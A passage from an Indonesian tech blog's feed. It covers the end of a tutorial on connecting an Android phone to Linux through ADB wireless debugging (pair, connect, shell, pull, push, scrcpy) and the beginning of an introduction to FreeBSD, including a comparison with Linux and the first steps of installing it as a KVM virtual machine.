src=&quot;/_astro/ss3.BGpJ9Vs6_6GG0N.webp&quot; /&gt;&lt;figcaption&gt;ip address android saya&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Pastikan juga android bisa di-&lt;code&gt;ping&lt;/code&gt; dengan baik oleh linux (atau sebaliknya):&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ping dari linux ke android: sukses&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;303&quot; src=&quot;/_astro/ss5.CVduDrzf_Z4fgPC.webp&quot; /&gt;&lt;figcaption&gt;ping dari linux ke android: sukses&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Android set up.&lt;a href=&quot;#2-android-set-up&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Aktifkan fitur “&lt;strong&gt;Wireless debugging&lt;/strong&gt;” di android dengan cara:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Berdasarkan informasi dari website resmi Android, fitur &lt;strong&gt;“&lt;em&gt;Wireless debugging&lt;/em&gt;”&lt;/strong&gt; ini hanya ada di android versi 11 atau yang lebih baru.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://developer.android.com/about/versions/11/features&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://developer.android.com/about/versions/11/features&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Wireless Debugging feature availability on Android 11 or later&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;238&quot; src=&quot;/_astro/ss4.CcHqndd2_Z1xlUPm.webp&quot; /&gt;&lt;figcaption&gt;Wireless Debugging feature availability on Android 11 or later&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Pergi ke &lt;strong&gt;Setting&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Pilih “&lt;strong&gt;Additional settings&lt;/strong&gt;”.&lt;/li&gt;
&lt;li&gt;Pilih “&lt;strong&gt;Developer options&lt;/strong&gt;”.&lt;/li&gt;
&lt;li&gt;Pilih dan aktifkan mode “&lt;strong&gt;Wireless debugging&lt;/strong&gt;”.&lt;/li&gt;
&lt;li&gt;Catat ip address &amp;amp; port (untuk &lt;strong&gt;connect&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;Buka “&lt;strong&gt;Pair device with pairing code&lt;/strong&gt;”, perhatikan 2 hal (untuk &lt;strong&gt;pair&lt;/strong&gt;):&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;IP address &amp;amp; port.&lt;/li&gt;
&lt;li&gt;Wi-Fi pairing code (6 digit).&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Ketika mengaktifkan mode “&lt;strong&gt;&lt;em&gt;Wireless debugging&lt;/em&gt;&lt;/strong&gt;”, akan ada &lt;em&gt;pop-up&lt;/em&gt; konfirmasi untuk selalu menyalakan mode &lt;em&gt;wireless debugging&lt;/em&gt; ini ketika diaktifkan, ceklis dan OK-kan.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;aktivasi fitur &apos;Wireless debugging&apos; di android&quot; title=&quot;mengaktivasi fitur &apos;Wireless debugging&apos; di android&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2323&quot; src=&quot;/_astro/ss7.EYf4SaUa_Z8TsFg.webp&quot; /&gt;&lt;figcaption&gt;aktivasi fitur &apos;Wireless debugging&apos; di android&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Perhatikan, ada 2 ip address &amp;amp; port yang saya tekankan di sana:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Yang berwana &lt;strong&gt;hijau&lt;/strong&gt; adalah yang pertama digunakan untuk &lt;strong&gt;pairing&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Yang berwarna &lt;strong&gt;biru&lt;/strong&gt; adalah yang digunakan untuk &lt;strong&gt;connecting&lt;/strong&gt; setelah &lt;em&gt;pairing&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Linux set up.&lt;a href=&quot;#3-linux-set-up&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;Aktifkan &lt;code&gt;adb&lt;/code&gt; dengan perintah:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start-server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk melihat status &lt;code&gt;adb&lt;/code&gt;, apakah sudah berjalan atau masih mati:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ss&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-tupln&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;adb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk mematikan &lt;code&gt;adb&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kill-server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Jika &lt;code&gt;adb&lt;/code&gt; sudah &lt;em&gt;running&lt;/em&gt;, pasangkan linux dengan android:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pair&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;ip_address:port&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Akan ada &lt;em&gt;prompt&lt;/em&gt; yang meminta &lt;em&gt;pairing code&lt;/em&gt;. Masukkan 6 digit &lt;em&gt;pairing code&lt;/em&gt; tadi.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Jika berhasil dipasangkan, hubungkan linux dengan android dengan perintah:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;ip_address:port&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan perangkat android sudah terhubung ke linux:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;devices&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;berhasil pairing &amp;amp;#x26; connecting ke android&quot; loading=&quot;lazy&quot; width=&quot;570&quot; height=&quot;467&quot; src=&quot;/_astro/ss6.Dt7g6jFv_1A9LQy.webp&quot; /&gt;&lt;figcaption&gt;berhasil pairing &amp;amp; connecting ke android&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Selain itu, di android, kita juga akan melihat nama device yang berhasil terhubung:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;connected device - android&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1502&quot; src=&quot;/_astro/ss8.BeMZ82C0_9HWDR.webp&quot; /&gt;&lt;figcaption&gt;connected device - android&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Untuk mendapatkan &lt;em&gt;shell&lt;/em&gt; android:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk keluar sesi dari shell android:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Untuk men-&lt;em&gt;download&lt;/em&gt; / mengambil file dari android:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pull&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;full_path&amp;gt;/&amp;lt;filename.ext&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;adb shell &amp;amp;#x26; adb pull&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;742&quot; src=&quot;/_astro/ss9.hlegjccn_ZaMka0.webp&quot; /&gt;&lt;figcaption&gt;adb shell &amp;amp; adb pull&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Untuk meng-&lt;em&gt;upload&lt;/em&gt; / mengunggah file dari linux ke android:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Untuk menampilkan display Android:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;scrcpy&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;scrcpy&quot; loading=&quot;lazy&quot; width=&quot;1478&quot; height=&quot;1044&quot; src=&quot;/_astro/ss10.BVK_OAoH_Z9WavX.webp&quot; /&gt;&lt;figcaption&gt;scrcpy&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Silakan baca artikel saya terkait &lt;code&gt;scrcpy&lt;/code&gt; untuk tau cara instalasi dan penggunaan lebih lanjutnya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Perintah-perintah fungsional &lt;code&gt;adb&lt;/code&gt; lainnya dapat dipelajari di &lt;code&gt;adb --help&lt;/code&gt; atau &lt;code&gt;man adb&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Semoga bermanfaat.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>FreeBSD: Unix-like Operating System</title><link>https://shangdi.github.io/posts/tech/freebsd/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/freebsd/</guid><description>They said FreeBSD was the most secure Operating System in the world. Is the claim true? Do you even know what truely FreeBSD is? Let&apos;s get acquainted with it!</description><pubDate>Sat, 02 May 2026 06:42:02 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Getting to Know&lt;a href=&quot;#getting-to-know&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;FreeBSD At a Glance&lt;a href=&quot;#freebsd-at-a-glance&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt; adalah sebuah sistem operasi untuk berbagai platform (server, desktop, dan embedded platform lainnya) yang berasal dari &lt;strong&gt;BSD (&lt;em&gt;Berkeley Software Distribution&lt;/em&gt;)&lt;/strong&gt;, sebuah versi dari &lt;strong&gt;UNIX&lt;/strong&gt; yang dikembangkan di Universitas California, Berkeley.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;UNIX adalah sistem operasi yang didesain untuk menyediakan lingkungan komputasi yang stabil, aman, dan efisien. Sistem operasi UNIX ini dikembangkan pertama kali oleh &lt;a href=&quot;https://en.wikipedia.org/wiki/Bell_Labs&quot; target=&quot;_blank&quot;&gt;AT&amp;amp;T Bell Labs&lt;/a&gt; (sebuah pusat penelitian) oleh &lt;a href=&quot;https://en.wikipedia.org/wiki/Ken_Thompson&quot; target=&quot;_blank&quot;&gt;Ken Thompson&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Dennis_Ritchie&quot; target=&quot;_blank&quot;&gt;Dennis Ritchie&lt;/a&gt;, dan kawan-kawannya,&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; yang kemudian menjadi basis dari sistem operasi modern saat ini, seperti Linux, FreeBSD, dan MacOS.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;{{&amp;lt; lead &amp;gt;}}
Singkatnya, &lt;strong&gt;FreeBSD&lt;/strong&gt; adalah sistem operasi berbasis &lt;strong&gt;UNIX&lt;/strong&gt; yang dikembangkan oleh &lt;strong&gt;BSD&lt;/strong&gt; dan bersifat &lt;em&gt;open source&lt;/em&gt;.
{{&amp;lt; /lead &amp;gt;}}&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Berikut adalah diagram UNIX &lt;em&gt;operating system&lt;/em&gt;:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stromasys.com/resources/all-about-the-unix-operating-system/&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://www.stromasys.com/resources/all-about-the-unix-operating-system/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;UNIX operating system.&quot; loading=&quot;lazy&quot; width=&quot;1482&quot; height=&quot;1074&quot; src=&quot;/_astro/unix.DAlpygsS_dK3w2.webp&quot; /&gt;&lt;figcaption&gt;UNIX operating system.&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;FreeBSD vs Linux&lt;a href=&quot;#freebsd-vs-linux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jadi, meskipun terinspirasi dari sumber yang sama (UNIX), FreeBSD dan Linux berbeda. Selain beda pengembangnya (FreeBSD dikembangkan oleh BSD, Linux dikembangkan oleh Linus Torvald), perbedaan mendasar lainnya juga ada di kernel: FreeBSD punya kernelnya sendiri yang dikembangkan oleh FreeBSD project, sementara Linux menggunakan satu sumber kernel yang sama, yaitu kernel Linux.&lt;/p&gt;&lt;p&gt;Berikut adalah perbandigan FreeBSD dan Linux secara spesifik:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;













































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Aspek&lt;/th&gt;&lt;th&gt;FreeBSD&lt;/th&gt;&lt;th&gt;Linux&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Kernel &amp;amp; OS&lt;/td&gt;&lt;td&gt;OS lengkap (kernel + userland dikembangkan bersama)&lt;/td&gt;&lt;td&gt;Hanya kernel, distro menggabungkan userland (GNU, dll)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Lisensi&lt;/td&gt;&lt;td&gt;BSD License (lebih permisif)&lt;/td&gt;&lt;td&gt;GPL (copyleft, lebih ketat)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Struktur Sistem&lt;/td&gt;&lt;td&gt;Lebih konsisten &amp;amp; terintegrasi&lt;/td&gt;&lt;td&gt;Bervariasi tergantung distro&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Manajemen Paket&lt;/td&gt;&lt;td&gt;pkg, ports collection&lt;/td&gt;&lt;td&gt;apt, dnf, pacman, zypper, dll&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ports vs Repo&lt;/td&gt;&lt;td&gt;Ports: compile dari source + opsi fleksibel&lt;/td&gt;&lt;td&gt;Binary package lebih umum, source opsional&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dokumentasi&lt;/td&gt;&lt;td&gt;Sangat rapi &amp;amp; terpusat (FreeBSD Handbook)&lt;/td&gt;&lt;td&gt;Sangat banyak, tapi tersebar per distro&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Stabilitas&lt;/td&gt;&lt;td&gt;Sangat stabil (fokus server)&lt;/td&gt;&lt;td&gt;Stabil, tapi tergantung distro (Debian vs Arch, dll)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Performa&lt;/td&gt;&lt;td&gt;Konsisten, efisien untuk server/networking&lt;/td&gt;&lt;td&gt;Sangat baik, sering unggul di hardware terbaru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dukungan Hardware&lt;/td&gt;&lt;td&gt;Lebih terbatas&lt;/td&gt;&lt;td&gt;Sangat luas&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Driver&lt;/td&gt;&lt;td&gt;Lebih sedikit&lt;/td&gt;&lt;td&gt;Lebih banyak &amp;amp; cepat update&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sistem File&lt;/td&gt;&lt;td&gt;ZFS native support kuat&lt;/td&gt;&lt;td&gt;ZFS ada, tapi tidak native (lisensi conflict)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Security&lt;/td&gt;&lt;td&gt;Fitur kuat (jail, secure design)&lt;/td&gt;&lt;td&gt;Kuat (SELinux, AppArmor)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Virtualisasi&lt;/td&gt;&lt;td&gt;Jails (ringan &amp;amp; efisien)&lt;/td&gt;&lt;td&gt;Docker, LXC, KVM, dll&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Containerization&lt;/td&gt;&lt;td&gt;Jails&lt;/td&gt;&lt;td&gt;Docker, Kubernetes, Podman&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Update Sistem&lt;/td&gt;&lt;td&gt;Terintegrasi (base system + packages terpisah)&lt;/td&gt;&lt;td&gt;Bergantung distro&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Komunitas&lt;/td&gt;&lt;td&gt;Lebih kecil&lt;/td&gt;&lt;td&gt;Sangat besar&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Penggunaan Umum&lt;/td&gt;&lt;td&gt;Server, networking, firewall&lt;/td&gt;&lt;td&gt;Server, desktop, embedded, cloud, dll&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Kemudahan Penggunaan&lt;/td&gt;&lt;td&gt;Lebih teknis&lt;/td&gt;&lt;td&gt;Banyak distro user-friendly (Ubuntu, Mint, dll)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Customization&lt;/td&gt;&lt;td&gt;Tinggi (ports system)&lt;/td&gt;&lt;td&gt;Sangat tinggi (tergantung distro)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Boot System&lt;/td&gt;&lt;td&gt;rc.d&lt;/td&gt;&lt;td&gt;systemd (umumnya), juga alternatif&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Dengan perbandingan ini, maka keputusan untuk menggunakan FreeBSD atau Linux diserahkan kepada kalian masing-masing.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Btw, saya kira “bacaan tambahan” yang cukup lengkap tentang &lt;strong&gt;UNIX&lt;/strong&gt; bisa kalian jumpai di artikel ini: &lt;a href=&quot;https://www.stromasys.com/resources/all-about-the-unix-operating-system/&quot; target=&quot;_blank&quot;&gt;https://www.stromasys.com/resources/all-about-the-unix-operating-system/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pada skenario ini, saya hanya akan meng-&lt;em&gt;install&lt;/em&gt; FreeBSD sebagai VM (&lt;em&gt;virtual machine&lt;/em&gt;) saja menggunakan KVM (&lt;em&gt;kernel-based virtual machine&lt;/em&gt;) di Archlinux. Berikut adalah langkah-langkanya:&lt;/p&gt;&lt;h3&gt;Pre-Installation&lt;a href=&quot;#pre-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;1. Downloading ISO file&lt;a href=&quot;#1-downloading-iso-file&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Download file ISO terbaru dari FreeBSD di sini: &lt;a href=&quot;https://www.freebsd.org/where/&quot; target=&quot;_blank&quot;&gt;https://www.freebsd.org/where/&lt;/a&gt;&lt;br /&gt;
Terdapat 3 pilihan file di sana, dengan berbagai arsitektur:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Installer:&lt;/strong&gt; File ISO (.iso) untuk instalasi FreeBSD di desktop, laptop, atau server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VM:&lt;/strong&gt; File image VM (.qcow, .vmdk, vhd) yang sudah ter-&lt;em&gt;install&lt;/em&gt; FreeBSD, bukan file instalasi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SD Card:&lt;/strong&gt; Untuk &lt;em&gt;embedded systems&lt;/em&gt; seperti Raspberry Pi yang biasanya menggunakan SD Card.&lt;/li&gt;
&lt;/ol&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Saya pilih file ISO (.iso) yang DVD.&lt;br /&gt;
Ini adalah file ISO (.iso) yang saya gunakan dalam tutorial ini (FreeBSD 15.0):&lt;br /&gt;
